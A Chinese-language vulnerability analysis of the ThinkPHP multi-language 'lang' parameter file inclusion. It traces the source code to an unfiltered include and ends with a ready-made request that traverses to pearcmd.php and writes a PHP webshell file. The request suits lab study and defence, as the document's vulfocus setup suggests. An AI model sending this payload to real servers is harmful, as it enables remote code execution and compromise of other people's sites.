影响范围
6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8
前提条件
安装并已知pearcmd.php的文件位置。(默认位置 /usr/local/lib/php/pearcmd.php,Docker版本的镜像中pear默认安装)
需要开启php.ini中register_argc_argv选项。(docker的PHP镜像是默认开启的)
thinkphp开启多语言功能 (app/middleware.php)

1、下载 go-pear.phar http://pear.php.net/go-pear.phar
2、执行 php go-pear.phar 设置1-12选项路径,安装。
1
| docker run --name tp6 -p 8005:80 -d vulfocus/thinkphp:6.0.12
|
分析
从LoadLangPack这个类开始

每个 middleware 的 handle() 方法都会被调用
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function handle($request, Closure $next) { $langset = $this->detect($request);
if ($this->lang->defaultLangSet() != $langset) { $this->lang->switchLangSet($langset); }
$this->saveToCookie($this->app->cookie, $langset);
return $next($request); }
|
接着进入到detect()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| protected function detect(Request $request): string { $langSet = '';
if ($request->get($this->config['detect_var'])) { $langSet = strtolower($request->get($this->config['detect_var'])); } elseif ($request->header($this->config['header_var'])) { $langSet = strtolower($request->header($this->config['header_var'])); } elseif ($request->cookie($this->config['cookie_var'])) { $langSet = strtolower($request->cookie($this->config['cookie_var'])); } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) { $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches); if ($match) { $langSet = strtolower($matches[1]); if (isset($this->config['accept_language'][$langSet])) { $langSet = $this->config['accept_language'][$langSet]; } } }
|
依次检查了GET header cookie ,没有任何过滤, 直接赋值给了 $langSet
然后默认的情况下allow_lang_list为空

$langSet直接被赋值给了$range , 然后返回了$range
继续回到 handle()里面
if ($this->lang->defaultLangSet() != $langset)


如果返回的$range–>$langset不等于默认的zh-cn ,就会调用 $this->lang->switchLangSet($langset)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function switchLangSet(string $langset) { if (empty($langset)) { return; }
$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php', ]);
$files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*'); $this->load($files);
$list = $this->app->config->get('lang.extend_list', []);
if (isset($list[$langset])) { $this->load($list[$langset]); } }
|
又调用了load()方法
传入的$file参数是拼接而成的
1 2 3
| $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php'
//DIRECTORY_SEPARATOR是一个PHP预定义常量,用于获取当前操作系统的目录分隔符
|


也就是thinkphp路径/lang/ + 参数$langset + .php
传入到load()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function load($file, $range = ''): array { $range = $range ?: $this->range; if (!isset($this->lang[$range])) { $this->lang[$range] = []; }
$lang = [];
foreach ((array) $file as $name) { if (is_file($name)) { $result = $this->parse($name); $lang = array_change_key_case($result) + $lang; } }
if (!empty($lang)) { $this->lang[$range] = $lang + $this->lang[$range]; }
return $this->lang[$range]; }
|
判断文件是否存在, 存在的话进入条件中 ,进一步又传入到$this->parse($name)
进入到parse()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| protected function parse(string $file): array { $type = pathinfo($file, PATHINFO_EXTENSION);
switch ($type) { case 'php': $result = include $file; break; case 'yml': case 'yaml': if (function_exists('yaml_parse_file')) { $result = yaml_parse_file($file); } break; case 'json': $data = file_get_contents($file);
if (false !== $data) { $data = json_decode($data, true);
if (json_last_error() === JSON_ERROR_NONE) { $result = $data; } }
break; }
return isset($result) && is_array($result) ? $result : []; }
|
$type = pathinfo($file, PATHINFO_EXTENSION)返回文件的扩展名
显然是php
继续进入到 $result = include $file ,从而可以实现文件包含
从始至终都没有对传入的参数进行一个过滤
接下来就可以利用包含pearcmd.php进行rce了
知识点
当开启register_argc_argv时,提交的参数都会传入 $_SERVER[‘argv’]变量内

&无法分割参数,会被当作一个整体。等号也无法赋值,会被直接传进参数
当使用+号分割,将会作为数组,而pear执行是通过 readPHPArgv()来获取argv内容。

利用pearcmd.php进行命令执行
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
1
| /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php
|
https://bbs.kanxue.com/thread-276704.htm
https://tttang.com/archive/1865/#toc__3